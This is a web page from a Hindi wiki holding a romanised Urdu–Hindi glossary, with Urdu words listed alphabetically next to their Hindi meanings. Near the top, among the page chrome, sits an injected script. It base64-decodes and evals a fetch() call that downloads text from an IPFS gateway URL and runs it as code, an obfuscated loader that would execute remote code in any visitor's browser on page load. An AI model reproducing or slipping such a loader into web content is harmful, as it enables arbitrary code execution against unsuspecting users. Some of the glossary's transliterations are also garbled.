उर्दू शब्दावली

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
urdoo hiandi shabdakosh[1]
a a i ee u oo e ai o au aan k kh g gh ch chh j jh t th d dh
t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri shr

a

  • aql= buddhi, tark, jnan
  • akabar= sabase mahan
  • akasar= adhikatar, amataur par, bahut, bar bar
  • akhz= pak danevala, lenevala, chhinane vala, lobhi
  • akhabar= samachar, samacharapatr
  • agar= yadi, tathapi
  • agyar= ajanabi, pratidvandi (gai़r ka bahuvachan)
  • agal़at= ashuddhiyaan (gal़t ka bahuvachan)
  • arjamand= mahan
  • ajanabi= aangatuk, videshi, paradesi
  • azal= anantakal, sanatanatv, nityata
  • ajab= kautuk, ashchary, asadharan
  • ajib= ashcharyajanak, adbhut, nirala
  • azab= pi da, santap, dand
  • aziz= priy, mananiy, adaraniy, gunavan
  • azim= mahan, vishal, uchch maryada vala
  • atak=vighn, badha
  • attfal= bachche, santati (tifl ka bahuvachan)
  • atf= daya, bheant, prem, kripa
  • ada= rrin chukana, nibatara
  • ada= manoharata, shrriangar, sundarata
  • adib= vidvan
  • adalat= nyayalay, nyay, qanoon
  • adam= shoony, astitvahin, abhav
  • anjam= ant, parinam, phal
  • anjuman= parishad, sabha, sammelan
  • andaza= anuman, aankana, map
  • andar= bhitar
  • afas़na= kahani, kalpit katha
  • afasurda= udas, vishad
  • afasos= shok, pachhatava, udasi
  • ab= abhi, vartaman
  • abtar= nasht,bikhara hua, moolyahin
  • abad=anantakal
  • abr= badal
  • abroo= bhauanh
  • absar= aankhean (basar ka bahuvachan)
  • abna= bete (ibn ka bahuvachan),sandhi,sahamati, ghatana, sanyog, avasar
  • abas= labhahin, bekar, vyarth, tuchchh
  • abd= das, pramatma ka das
  • amalan= yatharth mean, sach mean, satyata poorvak
  • amanat= dharohar
  • aऱhj= yachana, vinay, vinati, parakhana, pradarshan
  • arsh= chhat, chhatr, sarvochch svarg
  • araman= ichchha, lalasa, asha
  • alfaz= shabd (lfaz ka bahuvachan)
  • al= kala
  • alim= buddhiman, vidvan
  • avval= pratham, sarvashreshth, atiuttam
  • ashfak= sahara,anugrah, kripa (shafak ka bahuvachan)
  • ashqiya= kroor, kathorahriday
  • ashk= aansoo
  • asad= sianh, sher
  • asarar= bhed (bahuvachan)
  • asafar= yatrayean (safar ka bahuvachan)
  • asqam= buraiyaan, kamazoriyaan, kamiyaan
  • asir= kaidi, bandi
  • ashab= malik, svami (sahib ka bahuvachan)
  • asl= mool, nianv, moolatattv
  • asli= maulik, mool, vastavik, saty, khara
  • asar= chinh, nishan, lakshan, prabhav
  • asas= nianv
  • asbab= karan, vajah, sadhan
  • ahazan= du:kh (bahuvachan) (huzn ka bahuvachan)
  • atr= sugandhi

a

  • aeena= darpan
  • aqibat= ant, parinam, bhavishy
  • aqil= buddhiman
  • akhir= ant, antim
  • ag= agni, jvala (krodh, vasana, prem, aveg, josh)
  • aga़j= arambh,
  • ago़sh= aliangan, god, chhati
  • aanch= jvala, ushnata, utsah, hani, du:kh
  • aanchal= dopatte ka kona
  • az= prachand ichchha, lobh, lpsia
  • azardah= udas, du:khit, khija hua, vyakul,bechain
  • azamaeesh= prayatn, prayog, jaanch, siddh karana
  • azad= svatantr, badharahit
  • ajiz= shaktihin, udasin
  • azim= dridhata, sunishchit
  • atish= ag
  • adat= riti, acharan, prayog, pravriti
  • adami= vyakti
  • adamiyat= manushyattv, manushyata, shishtata
  • adab= acharan (adab ka bahuvachan)
  • adil= nyayapoorn, sachcha, nek, nishkapat
  • aandhi= dhool bhari tez hava, aandhad
  • ap= svayan, kisi ko samman se sambodhit karana
  • afatab= soory
  • afat=vipatti, sankat
  • afat= durbhagy, kathinaiyaan, buraiyaan (afat ka bahuvachan)
  • ab= pani, chamak, sundarata, talavar ki dhar
  • ab-e-aeena= darpan ki chamak
  • ab-e-chashm= aansoo
  • ab-e-talkh= k dava pani, aansoo, sharab
  • abaroo= an, prasiddhi, maryada
  • abad= basa hua, prasann, samriddh
  • am= sadharan, janata, samany, sarvatrik
  • ayanda= bhavishy mean, age, isake bad
  • arazoo= ichchha, lalasa, asha, abhilasha
  • ara= sajavat, shobhana
  • araeesh= sajavat, sundarata, sushobhit
  • aram= vishram, sukh, chain, sugamata
  • alam= sansar, srishti, prant, sundarata, samayakal
  • alap= bat-chit, svar milana
  • alim= vidvan, buddhiman, subodh
  • ali= uchch, mahan, bhavy, vishal, uttam
  • avaz= shor, dhvani, chikh, pukar
  • avazah= charcha, aphavah, prasiddhi, vivaran
  • avara= bina gharabar ke, ghumakk d, hin
  • ashna= parichit, mitr, premi
  • ashiq= premi, vivaharthi
  • ashiyana= ghoansala, ghar
  • ashufta= baukhalaya hua, ghabaraya hua, bhramit
  • as= ummid, asha, bharosa, sharan
  • asaman= akash, svarg
  • asamani= svairgik, khagoli, antiriksh sambandhi, nila
  • asara= suraksha, sharan, jine ka sadhan
  • asan= saral, sugam, sahaj
  • asim= papi, doshi
  • asoodah= samriddh, amir, santusht
  • aansoo= ashru
  • ah= nishvas, dirghashvas
  • ahista= dhime se, mridulata, aram se

i

  • iqabal= saubhagy, samriddhi, saphalata, svikriti
  • iqarar= shapath, saugandh, ghoshana, svikriti, pran
  • iqtiza= avashyakata, maang, chah
  • ikhlas= prem, sachchaee, shuddhata, nishthata,
  • ikht़iyar= shankti, adhikar, vikalp, marazi
  • izzat= man, maryada, prasiddhi, kirti, yash
  • izhar= batana, prakatikaran, varnan, ghoshana
  • ijaz(ejaz)= achambha, chamatkar, kautuk
  • ijazat= anumati, svikriti, ajna dena
  • iztirab= ashanti, chinta, ghabarahat, bechaini
  • iztirar= bandhan, vivishata, akulahat
  • itmam= sampoornata, siddhi, pravinata
  • itlaf= hani, uj dana, nash
  • itaraz(etaraz)= virodhata, alochana
  • itab= krodh, aprasannata, daant, dosh lagana
  • itibar(etabar)= vishvas, bharosa, asara
  • ittika= sahara, asara
  • ittifaq= sanyog
  • ittifaqan= saanyogik, akasmat se
  • ittiham= dosh, dosharopan
  • ittihad= sandhi, ekata, mitrata
  • idrak= samajh boojh, bodh
  • inkar= asvikar, virodh
  • inqilab= kranti
  • intazar= pratiksha
  • intiqam= badala, pratishodh
  • intikhab= chayan, chunav, pasand
  • intizam= vyavastha, prabandh, dhang, kram
  • insan= manav, manushy jati
  • insaniyat= manavata, shishtata, sushilata
  • inad= virodhata, dushmani, vair, lag
  • inam= puraskar, bheant, paritoshik
  • iftitakhar= man, kirti, vishishthata, khyati
  • ifrat= adhikata, bahuly, bahutayat
  • iffat= shuddhata, pavitrata, satitv
  • ibn= putr
  • ibrat= chetavani, daant
  • ibtida= anushthan, arambh
  • ibtisam= muskurahat, ullas
  • ibtila= durbhagy, kasht, pi da
  • ibadat= prarthana, upasana
  • ibarat= boli bhasha, shaili, rachana
  • iman= vishvas, dharm mat, aant:karan
  • imtihan= pariksha, prayog, jaanch, praman
  • imtiyaz= antar, antar karane vala, vishishthata
  • imarat= bhavan
  • ilm= jnan, vijnan, mat, siddhant
  • illat= dosh, buri adat, bimari, bahana, adhar
  • iltifat= mitrata, adar, daya, kripa, anugrah
  • ilaqa= kshetr, adhikaraskshetr, bhoomi, bhoosanpatti
  • ilaj= upachar, chikitsa, prativish
  • ilan(elan)= batana, munadi, ghoshana
  • ishq= prem
  • ishtiyaq= chah, ichchha, lalasa
  • ishtihar= vijnapan, prasiddhi, khyati
  • ishfaq= daya, anukampa, dayaluta
  • ishara= iangit, chinh, sanket
  • eeshad= ajna, adesh, pathapardashan
  • israf= ativyay, u dana, uja dana
  • israr= hathata, zi , avinay, dridhagrah
  • istifa= padatyag
  • isbat= praman, sakshy, saboot
  • istimal= baratana, bartav, prayog mean lana
  • irada= lakshy, uddeshy, kamana, lalasa, ichchha
  • ishrat= anand, manoranjan, hulas, chuhal, samaj
  • ishraq= usha, prabhat, chamak

ee

u

  • uqoobat= dand, saja, utpi dan, yatana
  • uja d= banjar, viran, nirj
  • urdoo= sena, shivar
  • ufk= kshitij
  • uftad= durbhagy, durghatana, nianv
  • ummid= asha, pratiksha, vishvas
  • umr= ayu
  • ubal= krodh, rosh, khaul
  • uriyaan= nagnata, khali, shoony, vihin
  • urooj= uday, mahanata, gauravanvit
  • ustad= adhyapak, guru

e

  • ehatiyaj= avashyakata
  • ehatiyat= savadhani, dhyan rakhana
  • ehasas= bhavana, manobhav
  • ehasan= upakar, kripa, anugrah

ai

  • aiyash= vilasi, luchcha, lanpat, vishayasakt
  • aish= anand, vilas, sukh, bhog
  • aihatamam= vyavastha

o

au

  • auqat= samay (bahuvachan) (vaqt ka bahuvachan)
  • auqat= sthiti
  • aurat= stri, patni, nagnata
  • aulad= santan (valad ka bahuvachan)

k

  • kagaz= panna, patr, lekhy patr
  • katib= lekhak, lipik
  • kitab= pustak, lekh, sandesh
  • kada= sthan (adhikatar shabdant mean ata hai)
  • kanda= gadha hua, naqqashidar
  • kinara= samudr tat, nadi ka tat, hashiya, sima
  • kina= dvesh, vair, lag
  • kail (qayal)= svikarana, manana, parajit
  • qaeeda (qayada)= riti, niyam, adat, anushasan, acharan
  • qaza= bhagy, adhikaraskshetr, eeshvariyadand
  • qazi= nyayak
  • qatl= hatya, vadh
  • qatil= hatyara, vadhik, guptaghatak
  • qad= akar, ooanchaee, lambaee
  • qadr= man, mooly, pratishtha, adar
  • qadam= chal, gati, padachap
  • qudarat= shakti, srishti, prakriti, jagat
  • qaid=bandi hona, srkavat, niyantran
  • qanoon= niyam, vidhan, siddhant, vyavastha
  • qafas= pianjara, sharir,jali
  • qafiya= tuk, tukabandi, chhand, tal
  • qabza= pak d, shakti, adhikar, talavar ka muththa
  • qabr= samadhi
  • qabil= samarth, chatur, yogy, gunavan
  • qaboo= shakti, adhikar, vash, pak d
  • qubool= svikar karana, svikriti
  • qamar=chandrama
  • qimat= mooly, upayogita, dam, lagat
  • qaum= rashtr, janata
  • qayamat=vinash, mritotthan, uthal-puthal
  • qayada (qaeeda)= riti, niyam, adat, anushasan, acharan
  • qayam= sthapit, thahara hua, dridh, tikaoo
  • qayal (kail)= svikarana, manana, parajit
  • qarj= rrin
  • qarar= nivas, sthirata, vishram, dhiraj, santushti
  • qarib= pas, nikat, samip, saman, pas ana
  • qurban= bali, bheant, balidan dena
  • qalb= dil, man, atma, buddhi
  • qalam= lekhani, likhavat
  • qaul= vada, shapath, hami, shabd, kahavat, bat
  • qasam= shapath
  • qism= jati, varg, bhag, prakriti
  • qismat= bhagy, bhag, sar, shreni
  • qissa= kahani, katha, premakatha, jhag da, vivad
  • qusoor= dosh, avagun, khot, bhool, pap, asaphalata

kh

  • khak= dhooli, bhoomi, rakh
  • khanjar= chhuri
  • khazaan (khizaan)= patajh d, vriddhavastha, kshay
  • khajalat= lajja, lajjashalinata
  • khajalat= prasann, shubh, bhagyavan
  • khizana (khazana)= dhan sangrah, kosh, rajakosh
  • khat= patr, chinh, likhit
  • khatara= dar, bhay, vipitti, jokhim
  • khatm= ant, poora hona, ant karana, samapti
  • khata= galati, bhool, laparavahi
  • khatir= hriday, man, ke liye, ki taraph se, chayan, hit
  • khutba= bhashan, dharmopadesh, praveshan, parichay
  • khidamat= seva, avabhagat, kartavy, naukari
  • khud(khood)= svayan, vaktigat, apana, ekaant
  • khuda= bhagavanh
  • khudi(khoodi)= ghamand, ahankar, man ki chaukasi
  • khanadan= kul, parivar, vansh
  • khana= ghar, kamara, vibhag, hissa
  • khanum (khanam)=shrimati, rajakumari, patni
  • khoon= rakt, hatya
  • khafa= chhipav, guptata, krodhit, aprasann
  • khabar= samachar, jnan, soochana, varnan, lokavad, charcha
  • khoob= badhiya, achchha, uttam, sundar, manabhavan
  • kham= kachcha, hara, nausikhiya, adaksh, ghamandi
  • khamosh= chupp
  • khumar= nasha
  • khayal= vichar, kalpana, mat, dekhabhal, man
  • khiyabaan= pushpavatika, phooloan ki kyari
  • kharid= kharidana, mol lena, mol li huee vastu
  • kharab= bura, dusht, barabad hua, big da hua, ashisht, ashlil
  • khurram= prasann
  • khair= achchha, atiuttam
  • khair=kushal kshem, kalyan, hit, anand
  • khalas= uddhar, savatantrata, mukti
  • khalis= shuddh, asal, khara, nishkapat (mitr)
  • khalish= chubhan, pi da, chinta, shanka
  • khilaf= virodh, vipakshata, asatyata
  • khilaf= visrddh
  • khv़ab= niand, svapn
  • khv़ar= dusht, uja d, mitrahin, nirdhan
  • khv़ahish= lalasa, ichchha, anunay, vinay, maang
  • khush= prasann, manabhavan
  • khushk= sookha, nirjal, murjhaya hua, chi dachi da adami
  • khoorshid (khurshid)=soory
  • khasta= ghayal, toota hua, jarajar, udasin
  • khas= vishesh, vyaktigat, vishisht, amishrit, shreshthajan

g

  • gaz= napane vala gaj
  • gazida= dank lag hua, kat khaya hua
  • guzar= jana, ek rasta, ek jivan
  • guzara= jivika, jivan nirvah, rasta, ghar
  • guzarish= anunay, vinay, prarthana, varnan
  • guzida= chuna hua, nirvachit
  • gunah= dosh, pap, aparadh
  • guftagoo= batachit, upadesh
  • gum= khoya hua, besudh, anupasthit, lapata
  • gumagashta= bhatakata hua, khoya hua
  • gumanam= namahin, ajnat, avidit, pratishthahin
  • gumarah= bhataka hua, khoya hua, dusht, nich
  • gumasum= maun, shant
  • guman= sandeh, shanka, kalpana, garv, vichar, avishvas
  • goya= vagmi, suvakta, bolate hue
  • gard= dhool, tuchchh
  • gardan= griva
  • gardish= chakkar, ghumav, durbhagy, avarapan
  • garm= ushn, jalana, prachand, tivr, utsahapoorn, sajiv
  • gird= paridhi, gol, paripradesh, nagaropant
  • girdab= bhanvar, atal samudr, bavandar
  • girah= gaanth, jo d, aanguli ka jo d
  • giraya= rona, vilap karana, srdan, phariyad
  • giraan= amooly, mahanga, bahumooly, bhari, mahattvapoorn
  • giriyaan= rote hue, chikhate hue
  • girau= vachan, giravi
  • giriftar= bandi banana, pak dana, vash hona, sammohit, bandi
  • gir= vijayi, lene vala, adhikari, chhinane vala
  • gul= gulab, phool, gahana, chhap
  • gulazar= upavan, phooloan ki kyari
  • guladasta= phooloan ka guchchha
  • gulabadan= komal, sudaul, sundar
  • gila= rosh, shikayat, abhiyag, dosh
  • gulashan= phooloan ya gulaboan ka upavan
  • gulab= gulab
  • gulistaan= gulaboan ka upavan
  • gavara= manabhavan, sammat, suhavana, komalata
  • gavah= sakshi
  • gavahi= praman, sakshy
  • gosh= kan
  • gosha= kona, kon, kothari, ekantata
  • gustakhi= abhadrata, ghamand, dhrishtata
  • gusar= chhinata hua, chhitarata hua, door hota hua
  • gesoo= lataean, keshoan ke chhalle
  • gaihan= sansar, srishti
  • g़jal= kavita
  • gar= rajadrohi, vishvasaghati, avishvasaniy
  • g़phalat= asavadhani, ooangh, achetanata
  • gam़= shok, du:kh, chinta
  • gam़khv़ar= dilasa dete hue
  • gam़gussar= dilasa dene vala
  • gam़dida= du:khit, vyathit
  • gam़hmaz= bhediya, chugalibaj
  • ga़yab= gupt, chhipa hua, anupasthit
  • gu़bar= vashp, dhuandh, phuhar, dhool, du:kh
  • gऱz= ueshy, arth, roop rekha, lalasa, sammati
  • gऱib= nirdhan, din, ajanabi, bhola, nirala
  • gऱoor= garv, ghamand
  • gai़r= ajanabi, paradesi
  • gai़r= aur bhi, sivay isake, isake uparant, doosara,
  • alag, videshi, bura, parantu, bachana
  • gai़rat= man, namrata, shalinata, dvesh, ghrina
  • gau़r= dhyan, gahari soch, dhyan dena
  • gal़t= galat, trutipoorn, asaty
  • gal़iz= ganda, ashuddh, bha, asabhy, ashlil
  • ga़lib= vijayi, pradhan
  • ga़lib= sadharanatay, adhikatar, sambhavath
  • gu़lam= das, chhokara, kishor
  • gash़= behoshi, moorchha, nashe mean unmatt
  • gu़ssa= krodh, bhavukata, rosh, chinta, shok

ch

  • chakaan= tapakata hua, stravan
  • chaq= chaukanna, chust, udyami, svasth, mota, chust-dusrst
  • chaqoo= chhoti chhuri
  • chiz= vastu, padarth, samagri
  • chitavan= akar, drishti, dikhavat
  • chand= kitana, kitane, kuchh, kitani bar, kitani der
  • chaand= chandrama
  • chaandani= chandrama ka prakash
  • chadar= bichhauna, ghooanghat, jalaprapat
  • chaandi= chaandi (dhatu), dhan
  • chain= asani, sukh, shaanti, aram
  • chamak= jhalak, dipti, jagamagahat, chauandh
  • chaman= pushp vatika
  • charag=dipak
  • chara= aushadhi, chikitsa, sahayata, upay
  • charagah= gauchar bhoomi
  • chal= chalane ka dhang, riti, dhokha
  • chalak= chatur, pravin, rdhoot, kapati
  • chilaman= chik
  • chashm= aankh, asha
  • chashm-e-baddoor= nazar n lage
  • chashm-o-chirag= aankh ka prakash, priy
  • chasmak= aankh marana, jhapak, asammati, mithyabodh
  • chust= savadhan, chalak, udyami, vegashil, tang, tana hua
  • chah= laghusanjna banane ke prayog mean ata hai
  • chah= ichchha, lalasa, pyar, avashyakta, chunav
  • chehara= mukh, chhavi, mukhauta

chh

j

  • jang= yuddh, l daee
  • jagir= sampatti (bhoomi ki)
  • jigar= yakrit, hriday, atma, man
  • jazb= akarshan, lobh, moh
  • jazba= lalasa, bhavana, avesh, aveg, chav
  • jazib= manamohak, akarshak
  • jadoo= jadoo, tilism, tona, mohana, pretatma ka prabhav
  • juda= vibhajit, bikhara hua, alag, prithik, anootha
  • judaee= anupasthiti, alag hona, virah
  • jannat= svarg, upavan
  • janaza= arthi, shavayatra
  • janab= shrimanh, mananiy
  • jan= atma, jivan, man, shakti, premi, premika, priya, priy
  • jani= jivan sambandhi
  • jani= ek premi ya premika
  • junoon= unmad, pagalapan
  • jafa= anyay, atyachar, ghav
  • jabian= matha
  • jamal= sundarata, sudaulapan
  • jam= pyala
  • jumbish= harakat, gati
  • jayaz (jaeez)= niyamanukool, anumati anusar
  • jayadad= sampantti, bhoo sampatti, vaiyanktik sampatti
  • jari= vartaman, prachalit, adhunik, nity, lagatar
  • jurm= aparadh, dosh
  • jurmana= arth dand, harajana
  • jalal= pratap, tej, vishalata
  • jalva= chamak, pradarshan, pratap, dikhav
  • ja’l= nakali
  • javan= yuva, kishor
  • javab= uttar, samata, barabar, samanaantar
  • javahar (javahir)= ratn, mani (jauhar ka bahuvachan)
  • jashn= utsav, bhoj
  • josh= garmi, tatparata, utsah, aveg, lalasa
  • jism= sharir
  • justajoo= khoj, poochh tachh, talash
  • jahannum= narak
  • jahaz= pot, nav
  • jahan= sansar
  • jahil= moorkh, anapadh, jangali ashisht
  • zau= prakash, soory ka prakash
  • z’if= nirbal, apang, asahay, kshinashakti, vriddh, durbal
  • za’i= parajay, vinasht, phalahin, vyarth
  • zakir= kritajn, yad karate hue
  • zakir= kritajnajan, bhagavanh ki prashansa ki kavita
  • ziq= shok, santap, vishad, udasi
  • zikr= smaran, sudh, yad, quran ka path
  • zukam= thand lagana (bimari)
  • zauq= svad, srchi
  • zakhm़= ghav, hani, kshati
  • zat= atma, svayan, jati, varg
  • zati= aantarjat, paidayashi, svabhavik, prakritik
  • zada= chot khaya hua, dalit
  • zi = viparit, visrddh, pratikool, asangat, hath
  • zood= shighr, achanak, turant
  • zanjir= k di
  • zann= sandeh
  • zindaan= karagar, bandigrih
  • zinda= sajiv, prani
  • zindagi= jivan, jivika, astitv
  • zinhar= kabhi nahian, kisi tarah bhi nahian
  • zinhar= savadhan!
  • zinat= sajavat, sundarata
  • zafar= vijay, jit, labh
  • zu’f= nirbalata
  • zaban= jibh, bhasha, momabatti ki jvala
  • zabar= shreshth, mahan, choti, oopar, uttam
  • zabardast= shaktipoorn, prabal, kroor, uttam
  • zabit= sanchalak, svami, adhikari
  • zabit= kathor, dhairyavan, niyam ka palan karane vala, anushasak
  • zabita= niyam, riti, anushasan, dharmasanhita
  • zeba= alankrit, sundar, uchit, sushobhit
  • zamana= samay, kal, kal chakr
  • zamanat= pratijnapatr, vishvas
  • zamin= bhoomi, dharati, prithvi
  • zamir= man, hriday, vichar, manan, bodh
  • zamin= dharmapita, pratibhoo, jamanatadar, vishvas dilane vala
  • zyada (ziyada)= adhikata, atyadhikata, atishay
  • ziya= prakash, chamak, dhoomadham
  • ziyarat= tirthayatra, dharmasthal par jana
  • zar= svarn, sona
  • zarb= ghav, chot, pitaee, prabhav, chinh (zarbat ka bahuvachan)
  • zarar= ghav, hani, vipada, kshati, shok, vyatha, parajay, vinash, barabadi
  • zarif= tikshn, sookshm, komal
  • zaroor= avashyak, uchit, yogy, nissandeh roop se, poorn roop se
  • zaroorat= avashyakata, vivashata, chahat
  • zar= rona, vilap, upavan, lalasa, ichchha
  • zer= hara hua, daba hua, kamazor
  • zor= shakti, bal, prabhav, dabav
  • zalal= galati, bhool, avagun, khot
  • zalil= nich, ghrinit, dusht, adham, tuchchh
  • zalim= kroor, atyachari
  • zillat= manahani, apaman, anadar, nichata
  • zulf= ghuangharale bal, lataean, kesh, chhalla
  • zulm= atyachar, kroorata
  • zahmat= man ki pareshani, vipada, dard
  • zahar= vish
  • zahir= sathi, mitr, sahayogi
  • zahir= spasht, samaksh, pratyaksh
  • zahira= spasht roop se, pratyaksh roop se
  • jeh़n= buddhi, tark, samajh, vivek

jh

  • jhऱhph= gahara, bhedata hua, tivrabuddhi
  • jhiyaan= krodhi, bhishan, lutera, dasrn
  • jhala=ole, os, kohara
  • jholida= bikhara hua, goodh, ulajha hua, pechida

t

  • takkar= muthabhe d, shatruta, spardha, pratidvandata, bhi dana
  • tuk da= ek bhag, ek kaur, ek aansh, khand
  • taang= lat, ek bhag
  • toot= tootana, darar, hani
  • tedh= chalaki, thagi
  • tapakana= risana, booand booand kar girana, phal ka jharana

th

  • thikana= ghar, sthan, lakshy, sima
  • thokar= srkavat, khuraghat, atak ke ludhakana
  • thand= shit, shital

d

  • daka= dakaiti, loot
  • dagar= rasta, path, s dak
  • dabar= jhil, talab, pani ke liye bartan
  • dar= bhay

t

  • tab= tap, shakti, dhiraj, krodh
  • tabish= tap, vaibhav, shok, du:kh
  • tasir= prabhav, chhap
  • taj= mukut
  • tarikh= tithi, itihas varnakram se likha hua
  • tarik= andhera, dhuandhala
  • taza= naya, naram, prasann, taja
  • tak= drishti, man, lakshy, drishy
  • tabah= vinasht, big da hua, bura, dusht
  • tabdil= badalana
  • tabassum= muskurana, prasannachitt bhav
  • tazurba= prayog, praman, anubhav, jaanch
  • tohafa= upahar
  • takht़= sianhasan, asan
  • tadbir= vimarsh, vichar, shiksha, upay, ajna, prabandh
  • tarana= dhun, svar samata, ek prakar ka gana
  • tarjuman= anuvadak
  • tars= bhay, aantak
  • tars= daya, kripa, kshama
  • taraqqi= ooanchaee, unnati, vriddhi, sudhar
  • tarakib= sanyojan, mishran, vyavastha, yojana, vidhi
  • tasalli= dhadhas, santosh, ashvasan
  • taslim= namskar, abhinandan, smarpan, adhinata
  • tashrif= samman karate hue
  • tishnagi= trishna, pyas, lalasa, abhilasha
  • tasavvur= kalpana, divasvapn, vichar
  • tasavvuf= soofipan, rahasyavad, goodh jnan
  • tasvir= chitr, rekhachitr, chhavi
  • t’ajjub= achambha, vismay, ashchay

d

  • dakhil= prevash karana
  • dad= nyay, badala, duhaee, prashansa
  • dar= phaansi ka takhta, lak di
  • dar (upasarg)= ke sath, ju da hua
  • dar= ghar, desh
  • dara= adhikari, raja, adhipati
  • daroo= sharab, davaee, upachar
  • dastaan= kahani, katha, qissa
  • dag= nishan, ghav ka chinh, kalank, dosh, vipada, hani, shok
  • dam= jal, phanda
  • dam= kimat, mooly
  • daman= aanchal, kinara, god, aank, talahati
  • dana= buddhiman, jnani
  • danista= janate hue
  • danish= jnan, vijnan, shiksha
  • da’im= anant, sthayi
  • dakhal= pravesh karana, pahuanch, kala
  • dar= dvar, daravaza

n

  • n’ash= taboot, shav, arthi
  • n’eem= anand, sulabhata, shanti
  • na= (nakaratmak) nahian, n
  • naashna= ajanabi, aparichit
  • naittifaqi= asahamati, matabhed
  • nainsafi= anyay
  • naib= sahayak, pratinidhi, upadhikari
  • nao= nav, pot, jahaj
  • naonosh= bahut sharab pina, davat u date hue
  • naummid= nirasha, ashahin
  • ni’am= labh, hit
  • nau= naya, taja, kachcha
  • nakbat= durbhagy, vipada
  • naql= varnan, katha, anukaran, pratiroop
  • naqli= banavati, kritrim, jali, jhootha
  • naqsh= chitr, chinh, naksha
  • naqsha= chitr, chhavi, namoona, roop udaharan
  • nak (shabd ke ant mean)= dvara prabhavit, se bhara hua
  • naqadr= adhanyavadi
  • naqabil= ayogy, anupayukt, aksham
  • nakam= asaphal
  • nakas= moolyahin, ghatiya
  • nikah= vivah
  • nukta= sookshmata, goodhata, tippani
  • nuktachian= dosh lagane vala, samiksha karane ka ichchhuk
  • nuktadaan= buddhiman
  • nuktabian= atialochanatmak
  • nuqsan= hani
  • nek= achchha, bhagyavan, punyatma, sachchiritr
  • nakhara= ak dapan, chalaki, bahana, diang haankana
  • nakhushi= aprasannata, apriyata
  • nakhoon= nakh, panja
  • nagm= dhun, gana, sangit ka sur
  • nagavar= aruchikar, besvad
  • nigar= chitr, chhavi, premika, priy
  • nigah= drishti, drishy, rakshan, dekh bhal
  • nigahabaan= rakshak, dekh bhal karane vala
  • nach= nrity
  • nachar= aksham, nirbal, lachar, asahay
  • nachiz= tuchchh, moolyahin
  • nazadik= samip
  • najm= tara, grah, bhavishy, kuandali
  • nazm= kavita, chhand, kram, prabandh
  • nazar= drishti, dikhana, kripa, drishy, anugrah
  • nazakat=svachchhata, namrata, komalata
  • nazafat= shuddhata, svachchhata
  • nazara= drishy
  • najib= shlaghapatr, uttam, kripalu
  • naz= garv, ghamand, komalata, sundarata, shekhi, ak d
  • najaiz (najayaz)= anuchit
  • nazish= ghamand, garv
  • nazuk= patala, dubala, komal, sahaj mean tootane vala
  • nizam= pranali, kram, riti, prabandh
  • naujavani= yauvan, tasrnaee
  • nataeej= parinam, phal (natija ka bahuvachan)
  • natija= parinam
  • natamam= apoorn
  • natars= kathor hriday, dayahin, kathor
  • natavani= akshamata, nirbalata, asamarthy
  • nata= sambandh, mitrata, sambandhi, moh
  • nataqat= ashakt, kshin
  • nadim= ghanishth mitr
  • nadanstia= ajnanatavash, anajane mean
  • nadani= ajnanata, ana dipan
  • nadari= garibi, nirdhanata, dinata
  • nadim= lajjashil, namr, lajjit
  • nadir=durlabh, amooly, anootha
  • nadida= lalachi
  • naunihal= paudha, paniri, kishor
  • napasand= asvikrit, bhadda, ghrinit
  • napaidari= nirbalata, ayogyata
  • nafarat= ghrina, asrchi, bhay, tras
  • nafs= atma, sar, pran
  • nafarman= ajna n manane vala
  • nafaham= moorkh
  • nafiz= prabhav hona, bhedata hua
  • nabz= na di ki gati, na di ki dh dakan
  • nabi= eeshvaradoot, bhavishyadvakta
  • nabood= astitvahin, lupt, nasht
  • naubahar= vasant ka arambh
  • naubat= bari, pari, samay
  • nam= gilapan, bhiga hua, silan
  • nam= gila, tar, sila
  • namaz= prarthana
  • numa’ish= dikhana, tamasha, drishy
  • namoona= udaharan, pratiroop, misal
  • nam= nam, upadhi, pratishtha, prasiddhi
  • namanzoor= nishedhit, varjit
  • namard= napuansak
  • nama= pustak, itihas, lekh, nibandh
  • namaloom= anajana
  • namumakin= asambhav
  • namurad= asantusht
  • nim= madhy, adha
  • nayab= durlabh, asadharan, dushprapy
  • niyaz= ichchha, anurodh, nirdhanata, avashyakata
  • niyoosh= shrota, sunate hue
  • niyyat= uddeshy, lakshy, ashay, irada
  • nar= nar, pusrsh
  • narm= mulayam, komal, dhima
  • nargis= ek kism ka phool, preyasi ki aankh
  • nar= agni, narak
  • narazi= asantushtata
  • narasti= kapatata, beeemani
  • nirali= anoothi, durlabh, asadharan
  • noor= prakash
  • nalaan= vilap karate hue, subakate hue
  • nalayaq= ayogy, anupayukt
  • nalish= arop, shikayat karana
  • nilam= boli laga kar bechana
  • navazish= kripa, dayaluta, sanrakshata
  • nasha= unmattata, garv, ghamand
  • nashin= baitha hua
  • nashad= aprasann, ullasahin, nisrtsah
  • nashinas= ajnani
  • nashukr= kritaghn, adhanyavadi
  • nishan= chinh, sanket, lakshy, ghav ka chinh, dag, lakshan
  • nishani= chinh, yadagar
  • nasib= bhagy, bhavishy, honi
  • nasim= mand samir, pachhuva hava, pashchimi vayu
  • nasihat= mantrana, paramarsh, upadesh
  • nasaboor= adhir, vyakul
  • nasamajh= ajnani, buddhihin, moorkh
  • nasaz= asantusht, asvasth, asabhy
  • nasaf= ganda, ashuddh, apavitr
  • nasoot= manavata, manav prakriti
  • nisbat= sambandh, smoh, sambandh lagana, tulana
  • nisar= pheankana, bikherana, nyauchhavar karana, chhitakana
  • nusart= vijay
  • nihaan= gupt, paroksh, aprakat

p

  • pa= taang, paanv, pe d ki jad
  • pak= dharmik, pavitr, shuddh, nirmal
  • pakiza= shuddh, svachchh, nirmal
  • pagal= unmadi, moorkh
  • paiga़m= sandesh, samachar, vimash
  • pani= jal, varsha, chamak, charitr, maryada
  • panah= sharan, suraksha, ashram
  • paband= bandhit, janjir mean jak da hua, adhin
  • pamal= pairoan ke niche kuchala hua, nasht hua
  • paiman= vachan, pratijna, sandhi, svikriti, pushtikaran
  • payam= sandesh
  • payab=kam gahara, manav ki gaharaee
  • parakhana= pariksha lena
  • parda= chik, ghooghant, guptata, ekantata, ot
  • paravarish= palana, poshan karana, poshan, raksha karana
